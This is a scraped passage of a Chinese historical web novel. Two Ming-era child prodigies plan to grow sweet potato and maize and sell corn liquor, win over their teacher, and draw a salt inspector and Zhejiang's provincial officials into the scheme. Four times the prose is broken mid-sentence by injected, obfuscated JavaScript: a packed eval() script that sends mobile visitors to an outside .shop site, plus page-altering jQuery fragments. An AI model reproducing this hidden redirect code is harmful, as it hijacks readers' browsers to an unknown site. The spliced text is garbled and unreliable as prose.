毕竟没有哪家孩子,小小年纪就名声远扬,还能帮着娘亲操持家业,减轻负担,更不必说什么,君子报仇十年不晚,把那些欺负娘的恶人,全部都欺负回去。 “哎哟,我这不是担心你们吗?刚得了消息,你周娘就担心的很,饭也吃不下,就在屋里等着,是不是郭氏清退田产的事情出问题了?我听街坊邻居说了,今天那郭府门外闹得可凶了,哎……老祖宗也是,怎么就……” “巴拉巴拉巴拉……” “巴拉巴拉……” 听得有些生无可恋,恨不得捂起耳朵的郭嘉,皱着一张俊脸,心里再怎么,都不免要嘀咕了:娘亲你别念了! 周盈见他这表情,也忍俊不禁起来:“郭娘这是担心你,忍着点吧。” 郭嘉呵呵,凑过来小声嘀咕:“早知道,就不让马夫回来说这事了。” “那可不行,我娘会急疯的!”周盈反驳了郭奉孝的烂招。 瞧郭怡还在说着话,怕是没一会儿功夫停不下来。 “娘!我真没事!我饿了,我真的很饿,饭在哪?吃饭吃饭!”受不了的郭嘉捂着耳朵,扯着嗓子,大步流星往屋里走。 “欸?给你们热着呢,等下啊,娘去端。”郭怡放下手里的书本,便走进了一侧小门。 总算是松口气的两个人,这会儿可算是清静了。 欸……这再聪明的人,回到家里,也得受着妈妈的唠叨,实在是家家有本难念的经。 走出来的周瑶见着两人这会儿正吃饭,看了一眼外面的夜色,便也没开口打扰两人,走到边上坐下。 手上拿起筷子给两人夹了块生腌蟹。 “吃慢点。” 周盈吐掉骨头,咀嚼着咽下后,开口道:“娘,有件事要和你商量。” 周瑶刚忙完白天的事情,把账算了一遍,这会还带着洋人传进来的老花眼镜。有赖于海贸发达,这玩意儿在明后期已经是见怪不怪了。 不过一般人家是没有的,因为实在不便宜。但周瑶这副,是别人送的。 盖因她的酒坊出了名儿,不少合作的商人跟她关系也好,这眼镜也算是个做人情的好东西了。 她听此言,摘下眼镜:“吾儿有何事?我只听马夫说,你们忙赶着往郭府去了?那些佃农闹事,是因为什么原因?” 周盈顿了顿,看了一眼正大口吃饭的郭奉孝,这家伙头都没抬,吃的可香了。 郭嘉:真香! 他不着痕迹踹了对方一脚。 “唔!”皱眉的郭嘉,放下筷子,擦了擦嘴。 他清了清嗓子,开口道:“是这样,周娘,咱们的番薯和玉米,这些年不是种出了些成果吗?去年还酿了些玉米酒试着没开窖,我们就想着,要是能借着郭氏的人脉和资源,多弄点试验田,种出来的番薯玉米,可以拿来做点别的东西,这样还能拿出去卖。” “况且,现在很多种田的都不一定吃得饱饭,咱们今天去解决的事情,也跟这个有关。”周盈补了一嘴。 周瑶到底是多吃了几口盐,这一下就想明白了儿子话里的意思:“吾儿是想借着郭氏那千亩田,多种番薯和玉米,酿酒往外销?可这事儿,只怕难成。” “嗯?为什么?”两只刚吃饱饭的狐狸崽,瞪大眼睛,一脸迟疑。 “种粮是自古以来成俗的规矩,现在的大户人家,田里除了种粮,其余的也就种点桑苗。其一是因为这粮食是刚需之物,其二则是朝廷收税也只盯着田里的粮食。” “若是我们硬要去推这别人听都没听说过的东西,这就是坏了这条规矩,那些人是不会干看着的。” 说到这里,周瑶也是担忧的皱起眉:“你们两个怎么突然想到了这事儿?” 陷入沉思的周盈琢磨了一下,好像也是个道理,脑子里一下子马力全开,将己方拥有的人脉和资源算了一笔账,然后拉出反对方的实力。 经过周·人脑·计算机·盈,在数十秒之间算出来的结果。 两道声音不约而同:“这个没问题!” 见着这俩人如出一辙般的动静,周瑶眼里闪过一丝笑意:“欸…我看你们两个,人小鬼大。盈儿做事素来稳妥,嘉儿行事机灵精明,娘亲也是担忧,这才说出忧虑。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740086|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“既然你们想好要去做,娘也听听你们有什么想法。” 于是乎,三人围绕“收购郭氏集团,做大做强周氏酒业” 这个会议主题,展开了热烈讨论。其间郭怡听了颇觉稀奇,走过来坐下,听着三人激烈的你一言我一句。 打着哈欠,实在是有些跟不上脑回路。 果然,做生意的精明,读书的也精明,一只大狐狸带着两只小狐狸,凑进了一只白兔子。 也算是稀奇事儿了。 聊得夜深,把话说清楚了,周瑶明白了儿子们的想法,担忧之余,也不免被周盈和郭嘉画的那一口大饼噎着了。 月高悬,爬上床的周盈躺下,安稳的睡进了被窝中,一夜好眠。 第二日一早,上完早课的两人,凑到正忙着赶作业的张岱桌边。 倒也不知张师兄昨晚上去干嘛了,眼底下黑眼圈泛青,这会儿是打着哈欠,手撑着脸颊,另一只手的毛笔不断。 见着两道黑影挡着光线,这才抬起头。 “嗯?周师弟,郭师弟?” “实不相瞒,张师兄,你有大麻烦了。”郭嘉板着脸,开口又是一字一句。 一旁的周盈,深以为然的点头。 路过的师兄见状,好奇凑过来:“宗子有什么大麻烦?昨夜又出去鬼混了?被夫子罚抄?” “……” “……” “去去去!”张岱没好气。没看着他这会儿正忙着写文章赶作业呢!哪壶不开提哪壶。 那人见着没意思,撇嘴走了。 张岱见状,丢下笔:“周师弟此话何意?难不成是那曹谨行又卷土重来了?” 郭嘉闻言,叹了口气。 周盈皱眉,神情严肃 “?”张岱睁大眼睛,不是……你们两个干嘛呢,别吓人啊! 他咽了咽口水,朝一旁正跟人谈着话的杨业一喊:“宗吕!宗吕你过来!” 闻言,杨业也是迟疑,走过来看着一个周师弟面无表情,一个郭师弟摇头叹息。 “?”杨业一时不理解。 “杨师兄,你大难临头了。”周盈看着他,吐出这么几个字。 杨业背后顿时一个激灵,上回周盈说这几个字的时候,他差点被抄家!这会儿是又出了什么事情? 当下,杨业就脸色猛然一变:“难不成…那些人不肯将盐利吐出来?” 嗯? 周盈和郭嘉心里不免惊讶,诈出了什么好东西? “不不不……不对啊,我之前让家父回去与人商议,那些人都答应的好好的,只要能安然度过这次危机,出点血就出点血……也不会有人蠢成这样才是。”杨业有些摸不着头脑了。 “咳,问题不在你们两人身上,问题在曹谨行身上。” 听到周盈这话,张岱和杨业对视一眼,猛开口道:“曹谨行要动手了?!” “呃……不是。”郭嘉想了想,又说道:“这里人多眼杂,等会儿晌午再细说,此事关系到你二人,也关乎我与兄长的未来前程,更能让曹谨行成为咱们眼前的靠山。” 46.第 46 章 啊? 你是说,一个准备对他们磨刀霍霍的巡盐御史,反过来还能成他们的靠山? “这…郭师弟,玩笑开的有点大了。”张岱觉得他在搞笑。 郭嘉耸肩:“这是唯一的方法,你要是不愿意听,那就洗干净脖子,明天准备上断头台吧。” “……” 杨业思忖了一番,像是想到什么:“可是跟昨日,那些在郭府闹事的佃农有关?” “有些干系,杨师兄一点就通。”郭嘉还想说什么,几个人就看到夫子已经走进了门来。 没办法,只能暂时将这次的会议作罢。 晌午,私塾内的学生们吃饭的吃饭,休息的休息。 池塘大树阴凉下,一张桌边坐几个人。 张岱一早的好奇心就被勾引了起来,见着周盈和郭嘉两个人,不慌不忙的拿出饭盒,然后打开。 张岱杨业:…… 张岱直接开口:“小师弟,这会儿用能说了吧?” 周盈闻言,心知两个人一早上估摸着都心神不宁的,因此也就不再卖关子,笑着开口道:“张师兄杨师兄,虽然你二人要大难临头了,不过我和嘉弟却是想出了个好办法,不但能保住你们,还能让你们将来的前程无忧。” 这话说的,有些让人摸不着头脑,也有些让人匪夷所思了。 杨业道:“难不成,与昨日策论有关?” 郭嘉点头:“咱们是想着,那曹谨行既要钱,必然是不会善罢甘休。但为官的,哪个不希望自己能做出一道大功绩,将来入阁也未尝不可。” “可是……这事儿,你我之间,又如何能做到?咱们也不过是学生,若是借着巡盐做文章,能安然度过,我都谢天谢地了。”张岱想不出有什么法子。 他觉得这事儿是在为难他这个地主家的傻儿子。 嗯……总归是人比人,气死人。 跟这两个妖孽比,他觉得自己这个地主家的傻儿子外号,倒还真是错不了。 周盈笑了笑,手上拿起筷子,夹起放在里面的一块熟番薯:“你们看这个。” “这就是能帮我们做到这件事的好东西。” “……?” 杨业手上接过周盈递过来的那块番薯,左右瞧了瞧,也没见什么稀奇,只不过闻着,倒是有些淡淡的甜味。 “我不卖关子,只说一件事,若这次我有法子,既能让二位师兄安然无恙,又可借此机会在朝廷留个好印象,你们愿意付出什么?” 张岱侧目瞧了会儿,听到声音,便抬起头:“只要不是一些破了底线的事情,若是要钱,要人脉,咱们还是给得起的。我家和宗吕家在浙东、淮扬还算是有些分量。” 周盈闻言,嘴角一翘:“师兄此言一出,这就好办了。” 几个人在树下嘀嘀咕咕,路过的学生也时不时好奇侧目,张岱和杨业被两人想法惊到,但周盈的画大饼技术可谓高超。 一下子,把俩地主家的傻儿子忽悠住了。 送走张岱和杨业,趁着这会儿功夫,周盈和郭嘉便直奔夫子们休息办公的地方。 陈夫子晌午一般都在屋里头。 见着两个学生进来,便放下手中的笔,抬起头:“你二人,有何事?” 周盈行礼,组织一下语言:“夫子,有个事情,或还要您相助。” 听到这话,陈夫子神情微变,大约是想起了之前周盈与他说的那些话,不免的,心里复杂了几分。 “说吧,我倒也想听听,你们是打算怎么,把这份策论落实?”他说着,手敲了敲桌上摊开的纸,上头白纸黑字,正是周盈和郭嘉二人昨日小考所写。 “夫子,这事,正是我来找您的原因。昨日傍晚,郭氏门口佃农闹事,我等一了解,才知道是因着清退田产的事情,闹的这些人家里都快揭不开锅了。” “我们总想着,读书总归是要读出个名堂?书中圣人教我们如何修身养性,如何成为很好的人,但从未告诉我们要如何去做。” “只一格物致知,便说通了一切,这就是要我们设身处地,亲身实践,才能明白什么是理,什么是道。” 周盈叹息:“我等虽是学生,却也知这些佃农过得苦。” “所以,你们是想借着这次机会,叫他们种你们这劳什子的番薯和玉米?”陈夫子闻言,依旧板着一张脸,看不出情绪来。 郭嘉咳了一声:“夫子,咱们这也是不希望人饿死。再说了,是郭氏出粮借给他们,让他们明年再还。到时候种出的玉米番薯卖给我们,拿去酿酒什么的,再借张师兄和杨师兄的人脉关系,这条链就形成了。” “哼,好大的本事。”听了这话,陈夫子都笑了,侧着头,看向一侧幽兰徐徐,语气带着几分让人听不出的幽深。 “那你们可知,这事一旦推出去,得遇着多大的阻力?那些地方的乡绅会干看着?更上头的布政司问起来又该如何解释?” “这是纸上谈兵。” 郭嘉不爽了:“这也是我们已经想到的,夫子,我们知道这些。曹谨行身为巡盐御史,在地方是钦差,奉命行事,他要钱我们给就是,不但给,还送他一份大礼。” “这是人情买卖。” 陈夫子闻言,心里不免深叹了口气,这两个学生智多近妖,便是什么都想到了,倒叫他的那些担忧,都成了优柔寡断。 “可,那些盯着他的人,怎么可能会让这事儿顺顺利利办成?你二人,不曾入朝为官,不懂朝局的危险,也不懂为官者如何的如履薄冰啊。” 站在一起,听着两人谈话的周盈,略皱了皱眉,思忖了一番,开口换了个说辞:“我二人知道,夫子是担忧我们。但如今,光是担忧,却也无用,巡盐、党争、国库亏空,这些都是还没解决的大问题。再说我二人罪臣眷属的身份,却也如烫手山芋一般。” “如今安然无恙,是因着朝廷里几方争执不休,僵持了下来。若等着时间,再往下拖,等那些人吵出了个法子,这就对我们不利了。” “夫子,您是聪明人,应该也知道,我等自踏入这趟浑水后,便再无退路。事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742317|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不以万事俱备而成功,反倒是想做,努力去做,把一切能用的用上,把一切可以当成盟友的人都拉拢过来。” “只有这样,才能成功。” 说到这里,周盈语气重了一些,也如一记铁锤一般,重重锤在陈夫子心里。 这是如雷贯耳,也是心跳如雷。 良久,屋里安静才被一声叹息打破。 “夫子是欣慰。”陈夫子感慨,语气带了几分不易察觉的笑意。 “想来,我陈子长,弃官归乡,便是厌倦了官场那些腌臜事情。教书育人数十年,教出的秀才举人不计其数,便是进士也是有的。” “但从未有一个人,如你们这般,胆大包天,胆敢直接算计朝廷命官,连朝局都被你们搅的不得安宁。” 他叹了一声,无奈一笑:“我老了,却教了你们两个天纵之才的学生,将来,或许,还真是你们的时代了。” 陈夫子在二人目光中站起身,走到一侧,拉出抽屉,拿了封信。 “这是一封举荐信。” 周盈和郭嘉都皱眉不解。 陈夫子呵呵一笑:“你们也知道,如今证人书院的名声越发厉害,那儿是咱们江南都名声显赫的学院,去那里,你们的才华才不会被埋没,才能在入朝为官前,便积攒下来自己的人脉。” 这个时候的同窗和老师,是非常重要的存在,因都是进士举人预备役。 “这……” “等你二人,在绍兴联考取得了好成绩,这封信,便名副其实了。” 周盈抿了抿唇,看着陈夫子如今已有些疲态的神情:“夫子之恩我等没齿难忘,在这潘岳私塾,我等如鱼得水,再说,这番薯和玉米的推广还未成功,恕我等不能前往。” “是啊,夫子。咱们虽然年轻,却也懂一日为师终身为父的道理,更明白不忘初心方得始终的意思。您是咱们的第一位老师,我们也就只认这一个。”郭嘉开口,心里不免也有些感慨。 两人能有如今的成就和名声,多是离不开陈夫子的推波助澜。 这无关乎前程不前程,是一个人有无感恩之心的区别。 多少人,在辉煌的功名前程面前,逐渐迷失了自我,已看不到来时路上,推举起自己的那些故人呢? 陈夫子捋了捋胡须,无奈摇头:“算了,这事儿,等你二人考验联考再说。” “哦对了,你二人今日来,是要找我说什么?” 两人忍俊不禁。 一番讨论,便也敲定了学生巡游周家番薯玉米地的事情,陈夫子很好说话,倒让郭奉孝觉得,总感觉哪里怪怪。 嗯……大概是他总是被陈夫子严厉针对,导致这会儿这么轻松就办妥了事,有些不适应了。 接下来几日算是相安无事。曹谨行的巡盐,也在有条不紊的推行。 他顺着王宗昌的那些人脉关系一撸,直接拔出萝卜带出泥,有一个算一个的,贪墨的盐课税款,触目惊心。 这地方官多少与上头有些牵扯,一下子,局势就炸锅了。 47.第 47 章 明朝,布政使是管辖一个省的主要地方官,省以下则为府、州、县官员。 因而,山阴县出了那么大个案子,浙江布政使这会儿,在布政司里头,急得那是满头大汗! 此人姓吕名纯如,万历二十九年科举进士出身,南直隶吴江县人。 当然,他还没满头大汗一会儿,进来的一人着红官服,头戴乌纱帽,脸色难看地如涂了黑炭一般。 此人姓陈名世安,万历三十二年进士出身,官为浙江右布政使,也可称之为二把手。 陈世安脚上带风,撩起衣裙跨进高门,语气直接带了些冲:“真是岂有此理!那曹谨行,到底想干什么?这巡盐的事情朝廷里吵的是没完没了,现在又扯出个什么……矿税旧案的遗孤?” “当真是把咱们布政司的人,当傻子糊弄吗?那矿税旧案多少年了!沈一贯早就倒台了,如今扯出这档子事情,是想给这群浙党翻供吗?!” 他喋喋不休,走到一旁椅子坐下,拿起茶,啧了一声,到底是没心情喝。 吕纯如叹了口气,从手上信纸抬起头,看了一眼陈世安:“陈大人,稍安勿躁,此事尚未明了,你我身为浙江布政使,既是朝廷钦封的封疆大吏,推行巡盐之事,也是板上钉钉。” “虽说,那王宗昌任山阴县令,闹出这么大个动静,但说到底,曹谨行也算是在铁板一块的山阴县撕了道口子,若非如此,如何能顺藤摸瓜,抓着背后那些人?” “总归得死几个人,也得抓一些,否则他回去交不了差,你我,也难在朝廷那儿开口说话。” 这话说的不错,有些道理,听进去的陈世安叹了口气:“我这不是着急吗?今年底下粮食歉收,税都难收上来,而朝廷里为了点钱的事情,吵得不可开交,都差在殿上直接打起来了。” “收不着钱,咱们这布政使,那就是给人背锅抄家的罪人。” “那曹谨行刚开始,来到浙江是怎么说的?说的是好听,这一抓王宗昌,要是审出个什么来,你我讨得了好?” 吕纯如呵呵一笑,心里明白,做官的哪有不贪的呢?这陈世安,任右布政使这些年,从底下的孝敬钱也是数目不少。 不过这件事也没必要拿出来说,手上将信塞回信封,吕纯如道:“王宗昌一个七品小官,翻不起什么浪来。” “这信,是内阁送过来的,你看看。” 说着,他递了出去。 陈世安见状皱眉,上前拿过拆开,便低头细细看了起来。 屋内一时安静。 随后。 “岂有此理!”陈世安一声喝斥,似看着了什么惊天秘密一般。 他手抖着,拿着信,仿佛是要抖到吕纯如面前,手指着道:“这两个黄毛小儿,竟是搅得整个山阴县不得安宁,搅的曹谨行巡盐都办不下去,搅的整个朝廷都为他们焦头烂额?” “天大的笑话!咱们难不成是白吃几十年的米饭?!” “内阁的那些老爷们在搞什么鬼名堂?既然要朝着浙东开刀,怎还扯出这样一桩事情!叶阁老到底是站在哪的?!” 他一连串话说的是吕纯如耳朵发疼,皱着眉龇牙咧嘴:“好了!这不是要跟你商量吗?” “如今这牵扯上矿税旧案,那周氏子和郭氏子,在当地素有名声,且与张岱杨业二家交好,此事或非寻常,也不知曹谨行到了那儿,到底是干了什么……弄得那些浙党残余,士林清议,泼天了般沸腾。” “你我也不是不知道叶阁老为人,他这会儿便是想有动作,那皇上都看着呢,手下浙、齐、楚的人,都是眼瞎了?” 陈世安闻言,冷哼一声,胸膛起伏剧烈:“那你说怎么办?如今这信一来,咱们这巡盐还办不办了?” “当然要办,还得办好了。” 听到这话,陈世安嘶了一声,低头看了看信,再看吕纯如,仿佛是想明白了什么:“难不成…叶阁老的一声是,叫我们……” 说着,他手在脖子上比划了一下。 “……”吕纯如觉得他是蠢蛋,差点没被这人蠢死,都有些气乐了。 “哦,那依陈大人的意思是,皇上要对着这对无依无靠的孤儿寡母下手灭口?” 你看看这合适吗?这合理吗? 那是九五之尊,那是金口一开,手底下的人都得揣摩圣心的人物! 这样分量的人,却要对着一对生活艰苦,却素有美名的孤儿寡母们下手灭口。 你当皇帝是不要脸了? 当这些地方官是死了? 当士林大儒都是傻子? 当那些政敌是白痴吗! 当百姓真是猪啊?! 知不知道这么做是什么后果? 陈世安大概也是觉得自己想了个蠢办法,一时间脸上有些挂不住:“那吕大人你说,这事情要怎么办?总不能让两个小娃娃,搅的山阴县都不得安宁!” 吕纯如心里鄙视了他一眼,面上不显,只是叹了口气:“你看看,这内阁发下来的密旨里,写了什么?” “稳妥处置,以安圣心。” “这八个大字,难不成陈大人还没琢磨明白?” 陈世安皱起眉,喉结滚动着,琢磨了半天,只觉得这谜语猜的,还真让人心烦意乱。 “光着八个字,要我们猜出来,还要咱们去办?内阁老爷们还真是动动嘴皮子,倒教我们绞尽脑汁跑断腿!” “要我说,把那两人叫过来,以示警告,再敢搅乱御史钦差行事,直接打入大牢!” “……”吕纯如死鱼眼瞪着他。 “那事情能是这么简单?现在朝廷多少双眼睛看着山阴县,咱们要是出头,到时候落了把柄,不但官做不得,牵扯起来,家都要被抄了!你知不知道!” 陈世安啧了一声,摆手:“行了行了,我这不是……这些天跑来跑去,一肚子火?你也知道,这么大个浙江,交税的事情多忙。” 听他这话,吕纯如捋了捋胡须:“事要办,但也不能办太绝。咱们想想办法,把这两个人安抚住咯,那郭氏子不是在大街嚷嚷要翻旧案?” “你的意思是……?” “案子的事情,牵扯太多,咱们也不敢插手,但给个前程功名,还是可以从中周旋的。” “况且这二人素有神童美名,这事儿倒也不算牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747906|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 强。” 吕纯如细细思量,只觉头疼万分,一件件事情往下压,都压到他们头上,上头的不肯担风险,下头的又闹出这种糟心事。 他这个浙江布政使,做的也是心惊胆战。 也就这会功夫,门口进来个人,行了一礼,毕恭毕敬道:“二位老爷,外头来人了。” 两人对视一眼,都是几分疑惑。 “叫他进来。” “是。” 被这么一打岔,吕纯如脑子里的思绪也就被打乱了,手拿起茶杯抿了抿,一口凉水入喉,倒是让他清醒了一些。 从门口进来的一人,身着普通衣裳,进门后就向着两人行了一礼,紧接着从怀中掏出一封信递上前。 “两位钦差,这是我家大人的信。说是山阴县有些事情,要跟二位商量,这才差我过来送信。” 吕纯如闻言,站起身接过,拆封之时顿了顿,又朝着他问:“曹御史,可还说了什么?” “曹御史说,这信上都写了。” 凑过来陈世安皱起眉,见吕纯如将信展开,一时间屋里安静无声。 两人读着信,不过片刻便皱眉。 “那曹谨行,疯了不成?皇上明摆着叫他巡盐搞钱,他倒好,在山阴县当起青天老爷了?”陈世安脱口而出的怒喝,惊的吕纯如侧目看向他。 “还有什么玉米、番薯!什么试验田!我看都是胡搅蛮缠!那郭氏子、周氏子!搞的什么鬼名堂!竟连朝廷钦封的御史,都敢如此糊弄!真是胆大包天了!” 吕纯如撇嘴,低下头继续看,看完后,一折:“曹谨行派人来跟我们说,也是为了商量这事儿。” “我看啊,与其在这里猜来猜去,倒不如亲自跑一趟,过去看看那山阴县,到底是什么地方,还能闹出这么大动静?” “再说了,过去了,还能顺道看看能不能招安那两人,总归是要把事情办妥了,否则上头责怪下来,你我二人官帽就别想要了。” “你!”陈世安一哽,脸上憋出了红。 “欸!老吕,这事儿哪里用得着我们两个出面?派个人过去就是了!” “那陈大人就留在这,正好布政司也不能没人,我去看看。”吕纯如也不恼,只是脚步往外走去。 “备马。” “欸、欸!你真去啊!”陈世安都给弄懵了。 绍兴府,官道。 朔马疾驰,穿着红袍,头戴乌纱帽的吕纯如手一牵缰绳,一阵尘嚣飞扬,便见人影渐渐消失。 一路上,倒是问了个一清二楚。 吕纯如也不是纯傻,知道这里头蹊跷颇多,现今巡盐的事情梗在这不上不下的,曹谨行的为人他清楚,知道对方不会做这样自毁城墙的蠢事。 即差人送信过来,那必然是有所变数了。 这是,谁抢先了,谁就有功。 但抢先的,也更危险。 吕纯如决定去看看再说。 顺道……把招安的事情办了。 前头就是山阴县了,见炊烟袅袅,已是傍晚,好一派夕阳残红,飞鸟掠空。 正是,朝霞不出门,晚霞行千里。 48.第 48 章 “瞧一瞧,来看一看哟!周寡妇酒坊新出的玉米酒,味儿香,入口甜!家里老人喝酒,就得喝这玉米酒!” 大街上,酒坊门口,站着的伙计手上抱着个酒坛子,边上摆着的桌子上放了几碟碗,一旁,则放着些晒干的番薯干。 路过的人看了一眼,颇觉稀奇:“小二,你们这原先不是卖那孩儿笑吗!怎么突然又换成了这什么玉米酒的?” 被吆喝声音吸引过来的一群也都觉得有趣:“哎?我说这酒,真有你说的那么好?比原先的孩儿笑怎么样?” 那小二闻言,嘿嘿一笑,手上晃了晃酒坛子,里头的酒粬发酵出来的玉米酒水,便荡漾开了一点儿香甜的味道,霎时便将路上过路的几个酒鬼,馋住了! “哟,什么新品?给我尝尝。”熟人早就知道了酒坊的营销路子,直接伸手拿了个碗。 那小二也识趣,直接抬起酒坛子倒满:“来!刘掌柜,这酒你尝尝看!咱打包票,你喝了一定喜欢!” 刘掌柜低下头,端起碗,另一只手朝着酒水扇了扇,比那用粮食酿的酒,味儿要淡些,但却有一股清甜的香味。 “诶?这味儿,我还没闻过。” 渐渐围过来的人,看着刘掌柜稀奇的模样,也都有些来了兴趣:“老刘,你尝尝,什么味儿?真有那么好?” 被催了一声,刘掌柜低头小抿了一口,入喉的酒水,甜! 油润! “嗯?!”刘掌柜也是个老酒徒了,是常来孩儿笑沽酒的回头客,这一尝起玉米酒来,顿时就瞪大眼睛。 指着碗,朝左邻右舍道:“稀奇,这酒没有高粱酿出来的醇厚,但甜的很,而且入口时一点儿不辣嗓子!” “啊?还有这种稀奇事?” “这玉米是什么?可是从外头传进来的?以前没听过?” “小二,给我也来一碗尝尝。” 那小二闻言,脸上也挂了笑,手上动作也不停歇,只开口向着越来越多的围观人解释了一番,这新的玉米酒是怎么酿的,玉米是哪儿的,和原先的孩儿笑有什么区别。 说的是头头是道,一见着,就知是培训过的三好员工! 郭怡走出来看了一眼,见外头人越来越多,赶忙朝着里屋喊:“快,去把酒再搬出来一些,今儿趁着人多我咱们先不卖酒,让山阴县的乡亲们都尝尝,把名声先打出去。” “好嘞!二掌柜您歇着,这事儿咱们去做,玉米酒早先酿好的还有十几坛,还是大掌柜有远见,要不是今儿都拿不出余粮了。”笑呵呵擦了把汗的妇人高大健硕,一身腱子肉,看起来就有力气。 “走,你们几个跟我去地窖拿酒。”她扯着嗓子一喊,一旁正在干活的几个妇人便擦了擦手,把手头的活放下,跟着一道进去了。 不多时,酒就搬了出来。 几个喝美了的酒鬼,见着都瞪大了眼:“哎哟!郭掌柜,这今日是要破费了?咱们这父老乡亲的,白喝你这酒哪里好意思的!” 郭怡走出来,带着笑意,这些年操持家业,也算是把她打磨的越发圆滑了,听到这话开口道:“林秀才,你这话说的,这些年,乡里乡亲,帮衬咱们的也不少,就几坛玉米酒,也费不了多少钱。” “再说了,这酒总得先给咱们乡亲们尝尝味道好不好吧?要是卖出去,别的地方的人觉得味儿不好,那不是砸了咱们山阴县孩儿笑的牌子了吗!” 那林秀才闻言,哎哟一声,摆手道:“咱们这喝了你的酒,要是不帮你宣传宣传,那还真是没脸了。郭掌柜太会说话了!” 一群人哄堂大笑,氛围顿时热闹了不少,连带着边上路过的,都忍不住上前凑凑热闹。 整个街道,竟是以虹吸效应一般,将大部分的人都吸引到了酒坊这! 带着乌纱帽,身着红官袍的吕纯如见状,也是稀奇的不行,指着那处,朝着一旁曹谨行问:“曹御史,这儿是什么地方?怎么围了这么多人呢?” 这会儿的曹谨行,也穿着一身红,戴了官帽,他少有的呵呵一笑,看了一眼那孩儿笑酒坊,朝着吕纯如道:“吕大人有所不知,这是周寡妇家开的酒坊,卖的酒叫孩儿笑。我先前刚来,也是稀奇,怎都是沽酒的,偏这寡妇开的酒坊,就要特别一些?” “哦?那后来呢?”吕纯如也是被他勾的起了好奇心。 “后来?后来我才知,这周寡妇家的两个神童,自小聪慧,早先便帮着寡母哭门,这才让那郭氏开了门,让两对孤儿寡母认祖归宗了。” 谈到这,曹谨行也是感慨:“可怜孝子拳拳之心,如今这酒坊,也算是苦尽甘来。” 吕纯如颔首思忖,他昨夜一到山阴县,便向着官府衙门赶,见了曹谨行,这才把整个山阴县发生的事情都了解了一遍。 知那王宗昌干了什么蠢事的时候,也是气的连话都不想说,只想着笑了。 气的。 好在曹谨行是摁下了此人,没把事情捅了上去,但如今巡盐的事情,却被这么一闹,全搅和了。 办不成这事情,追问起来,他们这些地方官,哪里逃得掉呢? 也就是这么个原因,吕纯如才追问起那周氏子和郭氏子的事情,把内阁发下来的奏疏说了一遍。 曹谨行竟也是半点惊讶没有,仿佛早已知晓。 “曹御史,你说的这个……番薯玉米试验田,能救国救民,是真是假?你说个准信,我这心里头实在是没着落啊。” 这事儿,吕纯如觉得有点稀奇,也有点离谱,哪有巡盐御史来一趟山阴县,盐课都不管了,开始搞起良种推行变法? 不是……你这个职责范围,是不是串到地方官那儿去了? “这事儿啊,也是这两个小国士提的,原先我是担忧巡盐的事情,那两份策论,我也给吕大人看过了,吕大人不也觉得鞭辟入里?” 曹谨行脸上依旧带着些笑,心里却明白,吕纯如这是拿不定主意,毕竟当务之急的事,还得是巡盐。 但他为什么非得一封信过去,把吕纯如叫过来? 还不是因为,他这个巡盐御史,过了这些天,就得走。且他插手此事,实在是没有道理。 但吕纯如是浙江布政使,这地方的变法推行,都是他办的,番薯玉米要想能翻出花样来,也必须得布政使点个头。 这样,有了官府背书,起码明面上,没人敢直接跟官斗的。 当然,这是大方向考虑。 小方向,他曹谨行也不是圣人,一开始,为了成就自己的抱负依附于东林,便是想着能为朝廷为百姓做点事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751380|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 但党争倾轧,谁能真讨得了好呢? 想到这他心里也不免有些无奈啊。 要是这玉米番薯,来年能有成绩,这事情报到朝廷那里,那就是天大的功绩。这会儿但凡是能让百姓吃上饭,都已经是明君了。 更别提,若还能将来年的税钱,往上提点数目…… 他这也是为了自保,有能耐的人,可以在朝廷站稳脚跟,但不可被替代,才能活下来。 这也是为什么,沈一贯任那矿税风波四起,却巍然不动这些年的原因了。 “吕大人,这事儿,是两位小神童牵的头,他二人与张、杨交好,这才想着借两家的人脉关系,把这件事办成。” 曹谨行低头,声音压低了点,话里有话。说的吕纯如眯起眼来,看他一眼。 